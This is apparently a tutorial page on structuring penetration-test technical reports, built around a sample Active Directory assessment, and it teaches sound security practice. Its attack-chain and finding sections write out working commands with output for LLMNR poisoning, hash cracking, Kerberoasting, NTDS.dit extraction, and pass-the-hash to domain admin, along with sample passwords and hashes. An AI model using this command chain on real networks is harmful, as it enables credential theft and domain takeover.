Reporting

Technical Reports

Technical reports provide the detail security and IT teams need to understand, reproduce, and remediate findings. Include exact steps, tools, and evidence.

Technical Report Structure

flowchart TB A[Technical Report] --> B[Methodology] A --> C[Detailed Findings] A --> D[Attack Chains] A --> E[Remediation] A --> F[Appendices] B --> B1[Tools Used] B --> B2[Testing Approach] B --> B3[Limitations] C --> C1[Step-by-Step PoC] C --> C2[Evidence/Screenshots] C --> C3[Affected Systems] D --> D1[Attack Narratives] D --> D2[Timeline] D --> D3[Kill Chain Mapping] E --> E1[Specific Fixes] E --> E2[Configuration Changes] E --> E3[Validation Steps] F --> F1[Raw Tool Output] F --> F2[Host Lists] F --> F3[Credentials Found] style A fill:#00d4ff,stroke:#000,color:#000

Methodology Section

text
================================================================================
                        METHODOLOGY & APPROACH
================================================================================

TESTING FRAMEWORK
-----------------
This assessment followed the Penetration Testing Execution Standard (PTES)
and mapped findings to MITRE ATT&CK framework tactics and techniques.

PHASES EXECUTED
---------------
1. Reconnaissance & Discovery (Day 1)
   - Network scanning and host enumeration
   - Service identification
   - Active Directory enumeration
   
2. Vulnerability Identification (Day 1-2)
   - Configuration analysis
   - Credential weakness testing
   - Known vulnerability scanning
   
3. Exploitation (Day 2-3)
   - Credential attacks
   - Privilege escalation
   - Lateral movement
   
4. Post-Exploitation (Day 3-4)
   - Domain compromise
   - Data access demonstration
   - Persistence mechanisms (not deployed)

TOOLS UTILIZED
--------------
┌───────────────────────┬──────────────────────────────────────────────────────┐
│ Category              │ Tools                                                │
├───────────────────────┼──────────────────────────────────────────────────────┤
│ Discovery             │ Nmap, Masscan, NetDiscover                           │
│ AD Enumeration        │ BloodHound, PowerView, ldapsearch                    │
│ Credential Attacks    │ Responder, Impacket, CrackMapExec, Hashcat          │
│ Exploitation          │ Metasploit, Cobalt Strike, Custom scripts            │
│ Post-Exploitation     │ Mimikatz, Rubeus, SharpHound                         │
│ Documentation         │ Flameshot, Obsidian, tmux logging                    │
└───────────────────────┴──────────────────────────────────────────────────────┘

TESTING LIMITATIONS
-------------------
• Production systems tested with caution - no denial of service attempts
• Social engineering out of scope
• Physical access testing not included
• Wireless assessment not in scope
• Testing window: Business hours only (8AM-6PM EST)

ATTACK SIMULATION
-----------------
The assessment simulated an "assumed breach" scenario where an attacker has 
gained initial access to a standard workstation through phishing or similar
means. Testing was conducted from IP 10.0.5.100 (provided test workstation).

Detailed Finding Format

text
================================================================================
FINDING 001: LLMNR/NBT-NS Poisoning - Network Credential Capture
================================================================================

CLASSIFICATION
--------------
Severity:        High
CVSS 3.1 Base:   7.4
CVSS Vector:     CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
CWE:             CWE-300 (Channel Accessible by Non-Endpoint)
MITRE ATT&CK:    T1557.001 (LLMNR/NBT-NS Poisoning)

AFFECTED SYSTEMS
----------------
• All Windows workstations (approximately 450 systems)
• Windows servers responding to multicast (12 systems)
• Affected subnets: 10.0.1.0/24, 10.0.2.0/24, 10.0.3.0/24

TECHNICAL DESCRIPTION
---------------------
Link-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS)
are enabled across the corporate network. These fallback name resolution 
protocols broadcast queries to all hosts on the local subnet when DNS fails.

An attacker on the network can respond to these broadcasts claiming to be the
requested host, causing victims to send their NTLMv2 authentication hashes to
the attacker.

REPRODUCTION STEPS
------------------

1. Set up Responder to capture credentials:

$ sudo responder -I eth0 -wrf

    __
   .----.-----.-----.-----.-----.-----.--|  |.-----.----.
   |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
   |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                    |__|
   
   [+] Servers started, waiting for connections...

2. Wait for clients to make failed DNS lookups (or trigger by 
   accessing non-existent share \nonexistentshare):

   [SMB] NTLMv2-SSP Client   : 10.0.1.45
   [SMB] NTLMv2-SSP Username : CORPjsmith
   [SMB] NTLMv2-SSP Hash     : jsmith::CORP:1122334455667788:ABC...

3. Captured hashes stored in /usr/share/responder/logs/

EVIDENCE
--------
During 4 hours of passive listening, the following credentials were captured:

┌─────────────────┬──────────────────┬──────────────┬─────────────┐
│ Username        │ Source IP        │ Hash Type    │ Cracked     │
├─────────────────┼──────────────────┼──────────────┼─────────────┤
│ jsmith          │ 10.0.1.45        │ NTLMv2       │ Yes         │
│ admin.helpdesk  │ 10.0.1.78        │ NTLMv2       │ Yes         │
│ svc_print       │ 10.0.2.50        │ NTLMv2       │ Yes         │
│ dthomas         │ 10.0.1.92        │ NTLMv2       │ No          │
│ WORKSTATION$    │ 10.0.3.15        │ NTLMv2       │ N/A         │
│ sqlservice      │ 10.0.2.200       │ NTLMv2       │ Yes         │
└─────────────────┴──────────────────┴──────────────┴─────────────┘

Cracking performed with Hashcat:

$ hashcat -m 5600 captured_hashes.txt /usr/share/wordlists/rockyou.txt

Results:
- jsmith:Welcome2024!
- admin.helpdesk:Helpdesk123
- svc_print:Print@2023
- sqlservice:SQLserver1!

See Appendix A for full Responder logs.
See Appendix B for Hashcat cracking output.

IMPACT ANALYSIS
---------------
The compromised credentials provide:

• jsmith: Standard domain user - initial foothold for further attacks
• admin.helpdesk: Member of IT Support group with elevated privileges
• svc_print: Service account with local admin on print servers
• sqlservice: Database access to SQL01, SQL02 (see Finding 003)

This finding enabled the following attack chain:
LLMNR Capture → Credential Crack → SQL Server Access → Data Exfiltration

REMEDIATION
-----------
IMMEDIATE ACTIONS:

1. Reset passwords for all captured accounts:
   - jsmith, admin.helpdesk, svc_print, sqlservice
   - Notify users of password reset requirement

2. Disable LLMNR via Group Policy:
   
   Path: Computer Configuration > Administrative Templates > 
         Network > DNS Client
   Setting: "Turn off multicast name resolution" = Enabled

3. Disable NBT-NS via Group Policy (registry):
   
   Path: HKLMSYSTEMCurrentControlSetServicesNetBTParametersInterfaces
   For each interface: Set "NetbiosOptions" = 2 (Disabled)
   
   Or via DHCP Option 001/002 to disable NetBIOS.

VERIFICATION STEPS:

After remediation, verify with:

$ nmap -sU -p 5355 10.0.1.0/24  # LLMNR port check
$ nmap -sU -p 137 10.0.1.0/24   # NBT-NS port check

Both should show filtered/closed.

DETECTION RECOMMENDATIONS
-------------------------
1. Monitor for Responder-like behavior:
   - Multiple LLMNR/NBT-NS responses from single host
   - SMB authentication to non-file-server systems
   
2. Create SIEM alerts for:
   - Event ID 4648 (explicit credential use) to unusual destinations
   - Network traffic analysis for LLMNR (UDP 5355) responses

3. Deploy honeypot DNS entries that alert on resolution attempts

REFERENCES
----------
• https://attack.mitre.org/techniques/T1557/001/
• https://www.sans.org/blog/smb-relay-demystified-and-ntlmv2-pwnage-with-python/
• https://github.com/lgandx/Responder

================================================================================

Attack Chain Documentation

text
================================================================================
                    ATTACK CHAIN: Initial Access to Domain Admin
================================================================================

OVERVIEW
--------
This section documents the complete attack path from initial network access
to Domain Administrator compromise. Total time: 4 hours 12 minutes.

ATTACK TIMELINE
---------------
┌───────────┬──────────────────────────────────────────────────────────────────┐
│ Timestamp │ Action                                                           │
├───────────┼──────────────────────────────────────────────────────────────────┤
│ 09:00     │ Started from test workstation (10.0.5.100)                       │
│ 09:15     │ Completed network discovery (508 live hosts identified)          │
│ 09:30     │ AD enumeration with BloodHound - mapped attack paths             │
│ 09:45     │ Started Responder for LLMNR/NBT-NS poisoning                     │
│ 10:30     │ Captured credentials for jsmith, admin.helpdesk                  │
│ 10:45     │ Cracked jsmith password (Welcome2024!)                           │
│ 11:00     │ Authenticated as jsmith, ran SharpHound                          │
│ 11:15     │ Identified Kerberoastable accounts (svc_sql, svc_backup)         │
│ 11:30     │ Performed Kerberoasting, obtained TGS tickets                    │
│ 11:45     │ Cracked svc_backup password (Backup2024!)                        │
│ 12:00     │ Confirmed svc_backup is member of Backup Operators               │
│ 12:30     │ Used backup privileges to extract NTDS.dit via wbadmin           │
│ 12:45     │ Extracted all domain hashes with secretsdump.py                  │
│ 13:00     │ Pass-the-hash as Domain Admin (Administrator:500)                │
│ 13:12     │ Full domain compromise confirmed - testing stopped               │
└───────────┴──────────────────────────────────────────────────────────────────┘

DETAILED ATTACK NARRATIVE
-------------------------

PHASE 1: Initial Reconnaissance (09:00 - 09:45)
-----------------------------------------------
Starting from the provided test workstation, performed initial network
discovery to identify live hosts and services:

# Network sweep
$ nmap -sn 10.0.0.0/16 -oA discovery
Nmap scan report for 508 hosts up

# Service enumeration on discovered hosts
$ nmap -sV -sC -p- --top-ports 1000 -iL live_hosts.txt -oA services

Identified:
- 2 Domain Controllers (DC01, DC02)
- 15 Windows Servers
- 450+ Windows Workstations
- 12 Linux systems (SSH, web servers)
- 8 Network devices

BloodHound data collection:

# Ran from test workstation as authenticated user
$ ./SharpHound.exe -c All -d corp.local

Imported data into BloodHound, identified shortest path to Domain Admin
through Backup Operators group membership.

PHASE 2: Credential Capture (09:45 - 11:00)
-------------------------------------------
Deployed Responder to capture NTLM hashes from LLMNR/NBT-NS traffic:

$ sudo responder -I eth0 -wrf

Within 45 minutes, captured 47 unique NTLMv2 hashes.
Cracked 12 passwords using Hashcat with rockyou.txt wordlist:

$ hashcat -m 5600 hashes.txt rockyou.txt -r best64.rule

Notable captures:
- jsmith: Welcome2024!
- admin.helpdesk: Helpdesk123

PHASE 3: AD Enumeration & Kerberoasting (11:00 - 12:00)
-------------------------------------------------------
Authenticated as jsmith (standard domain user) to perform deeper
AD enumeration:

# Enumerated SPNs for Kerberoasting
$ GetUserSPNs.py corp.local/jsmith:Welcome2024! -dc-ip 10.0.0.10 -request

Accounts with SPNs:
- svc_sql (MSSQLSvc/sql01.corp.local:1433)
- svc_backup (CIFS/backup.corp.local)
- svc_print (HTTP/print.corp.local)

Cracked service account passwords:

$ hashcat -m 13100 spn_hashes.txt rockyou.txt
svc_backup:Backup2024! (cracked in 3 seconds)
svc_sql:SQLadmin123! (cracked in 12 seconds)

PHASE 4: Privilege Escalation (12:00 - 12:45)
---------------------------------------------
svc_backup is member of Backup Operators, which grants:
- SeBackupPrivilege (read any file)
- SeRestorePrivilege (write any file)

Used these privileges to extract NTDS.dit:

# Create shadow copy and extract NTDS.dit
$ wbadmin start backup -backuptarget:\\10.0.5.100\share -include:c: -quiet
$ copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\temp\

# Extract SYSTEM hive
$ reg save HKLM\SYSTEM C:\temp\SYSTEM

# Extract hashes
$ secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL

Obtained NTLM hashes for all 2,847 domain accounts including:
- Administrator:500:aad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b:::

PHASE 5: Domain Compromise (12:45 - 13:12)
------------------------------------------
Used Administrator hash for pass-the-hash authentication:

$ psexec.py -hashes :64f12cddaa88057e06a81b54e73b949b Administrator@DC01.corp.local

Successfully obtained SYSTEM shell on DC01.
Full domain compromise confirmed.

Testing terminated at this point - no further actions taken.

KILL CHAIN MAPPING
------------------
┌─────────────────────┬────────────────────────────────────────────────────────┐
│ Kill Chain Phase    │ Actions                                                │
├─────────────────────┼────────────────────────────────────────────────────────┤
│ Reconnaissance      │ Nmap scanning, BloodHound enumeration                  │
│ Weaponization       │ N/A (used existing tools)                              │
│ Delivery            │ N/A (assumed breach scenario)                          │
│ Exploitation        │ LLMNR poisoning, Kerberoasting                         │
│ Installation        │ N/A (no persistence deployed)                          │
│ Command & Control   │ N/A (internal testing)                                 │
│ Actions on Obj.     │ Credential theft, domain compromise                    │
└─────────────────────┴────────────────────────────────────────────────────────┘

================================================================================

Remediation Section

text
================================================================================
                    REMEDIATION GUIDANCE & VALIDATION
================================================================================

FINDING 001: LLMNR/NBT-NS Poisoning
-----------------------------------

REMEDIATION STEPS:

Step 1: Create GPO to disable LLMNR
    a. Open Group Policy Management Console
    b. Create new GPO: "Security - Disable LLMNR NBT-NS"
    c. Edit GPO, navigate to:
       Computer Configuration > Administrative Templates > 
       Network > DNS Client
    d. Set "Turn off multicast name resolution" to Enabled
    e. Link GPO to domain root or relevant OUs

Step 2: Disable NBT-NS via registry (same GPO)
    a. Navigate to:
       Computer Configuration > Preferences > Windows Settings > Registry
    b. Create registry item:
       Hive: HKEY_LOCAL_MACHINE
       Path: SYSTEM\CurrentControlSet\Services\NetBT\Parameters\Interfaces
       Value: NetbiosOptions
       Type: REG_DWORD
       Data: 2
    c. Apply to all interface subkeys using wildcards

Step 3: Verify deployment
    Run on sample workstations:
    
    # PowerShell verification
    Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Services\NetBT\Parameters" | 
        Select-Object NodeType
    # Should return NodeType: 2 (P-node, no broadcast)
    
    # LLMNR verification
    Get-DnsClient | Select-Object EnableMulticast
    # Should return False

VALIDATION COMMANDS:

# From attacker perspective - should see no responses
$ responder -I eth0 -A  # Analyze mode only
# Wait 30 minutes - should capture zero hashes

# Network scan for LLMNR/NBT-NS
$ nmap -sU -p 137,5355 10.0.1.0/24 --open
# Should return no open ports


FINDING 002: Kerberoasting - Weak Service Passwords
---------------------------------------------------

REMEDIATION STEPS:

Step 1: Reset affected service account passwords
    Use 25+ character randomly generated passwords:
    
    # PowerShell - Generate secure password
    Add-Type -AssemblyName System.Web
    [System.Web.Security.Membership]::GeneratePassword(25,5)
    
    # Reset password
    Set-ADAccountPassword -Identity svc_backup -Reset -NewPassword (ConvertTo-SecureString "GeneratedPassword" -AsPlainText -Force)

Step 2: Convert to Group Managed Service Accounts (gMSA)
    a. Create KDS Root Key (if not exists):
       Add-KdsRootKey -EffectiveImmediately
       
    b. Create gMSA:
       New-ADServiceAccount -Name "gMSA_SQL" -DNSHostName "gMSA_SQL.corp.local" -PrincipalsAllowedToRetrieveManagedPassword "SQL_Servers$"
       
    c. Install on target server:
       Install-ADServiceAccount -Identity "gMSA_SQL"
       
    d. Update service to use gMSA:
       Service account: CORP\gMSA_SQL$
       Password: (leave blank)

Step 3: Enable AES encryption only (disable RC4)
    GPO Path: Computer Configuration > Windows Settings > 
              Security Settings > Local Policies > Security Options
    
    Setting: "Network security: Configure encryption types allowed for Kerberos"
    Enable: AES128_HMAC_SHA1, AES256_HMAC_SHA1
    Disable: DES_CBC_CRC, DES_CBC_MD5, RC4_HMAC_MD5

VALIDATION:

# Verify SPN accounts have strong passwords
$ GetUserSPNs.py corp.local/testuser -dc-ip 10.0.0.10 -request -outputfile test_hashes.txt
$ hashcat -m 13100 test_hashes.txt /usr/share/wordlists/rockyou.txt
# Should NOT crack within reasonable time

# Verify AES encryption
$ Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties msDS-SupportedEncryptionTypes


FINDING 003: SMB Signing Not Required  
-------------------------------------

REMEDIATION STEPS:

Step 1: Enable SMB signing on servers (immediate)
    GPO Path: Computer Configuration > Policies > Windows Settings > 
              Security Settings > Local Policies > Security Options
    
    Enable both settings:
    - Microsoft network server: Digitally sign communications (always) = Enabled
    - Microsoft network server: Digitally sign communications (if client agrees) = Enabled

Step 2: Enable SMB signing on clients (phased rollout)
    Same GPO path, enable:
    - Microsoft network client: Digitally sign communications (always) = Enabled
    - Microsoft network client: Digitally sign communications (if server agrees) = Enabled
    
    Note: Test in staging environment first - may impact legacy systems

Step 3: Verify NAS/storage devices support signing
    Some older NAS devices may not support SMB signing.
    Test connectivity before full deployment.

VALIDATION:

# Check SMB signing status
$ crackmapexec smb 10.0.0.0/24 --gen-relay-list unsigned_hosts.txt
# List should be empty after remediation

# PowerShell on individual hosts
Get-SmbServerConfiguration | Select-Object RequireSecuritySignature
# Should return True

================================================================================

Appendix Structure

text
================================================================================
                              APPENDICES
================================================================================

APPENDIX A: Network Discovery Results
-------------------------------------
Host enumeration results from initial Nmap scan.
File: appendix_a_nmap_discovery.txt

Sample:
Nmap scan report for 10.0.0.10
Host is up (0.00054s latency).
PORT     STATE SERVICE
53/tcp   open  domain
88/tcp   open  kerberos-sec
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
389/tcp  open  ldap
445/tcp  open  microsoft-ds
464/tcp  open  kpasswd5
636/tcp  open  ldapssl
3268/tcp open  globalcatLDAP
3269/tcp open  globalcatLDAPssl

[Full results in attached file - 508 hosts]


APPENDIX B: Credential Captures
-------------------------------
Full Responder capture log (sanitized).
File: appendix_b_responder_logs.txt

Note: Password hashes and cleartext passwords are provided in
encrypted attachment. Decryption key provided separately to 
security team lead.


APPENDIX C: BloodHound Analysis
-------------------------------
Attack path analysis from BloodHound.
Files: 
- appendix_c_bloodhound_export.json
- appendix_c_attack_paths.png

Shortest Path to Domain Admin:
jsmith@CORP.LOCAL -> MemberOf -> IT Users -> CanRDP -> SERVER01 
-> HasSession -> admin.helpdesk@CORP.LOCAL -> MemberOf -> 
IT Admins -> AdminTo -> Multiple Servers


APPENDIX D: Vulnerability Scan Results
--------------------------------------
Nessus scan results for identified vulnerabilities.
File: appendix_d_nessus_report.pdf


APPENDIX E: Tool Outputs
------------------------
Raw output from assessment tools.
Files:
- appendix_e_crackmapexec.txt
- appendix_e_kerbrute.txt
- appendix_e_secretsdump.txt (encrypted)


APPENDIX F: Affected Systems List
---------------------------------
Complete list of systems affected by each finding.
File: appendix_f_affected_systems.xlsx

Summary:
┌─────────────────────────────┬─────────────────┐
│ Finding                     │ Systems Count   │
├─────────────────────────────┼─────────────────┤
│ LLMNR/NBT-NS Enabled        │ 462             │
│ SMB Signing Disabled        │ 447             │
│ Missing Critical Patches    │ 23              │
│ Weak Service Passwords      │ 3               │
│ Excessive Privileges        │ 45 accounts     │
└─────────────────────────────┴─────────────────┘

================================================================================

Warning

Always encrypt sensitive data like password hashes and credentials in appendices. Provide decryption keys through a separate secure channel.

Quick Reference

Section Purpose Audience
Methodology Document testing approach and scope Security team, auditors
Detailed Findings Reproduce and validate issues Security engineers, IT admins
Attack Chains Show real-world attack scenarios Security architects, SOC
Remediation Step-by-step fix guidance IT administrators
Appendices Raw evidence and data Technical deep-dives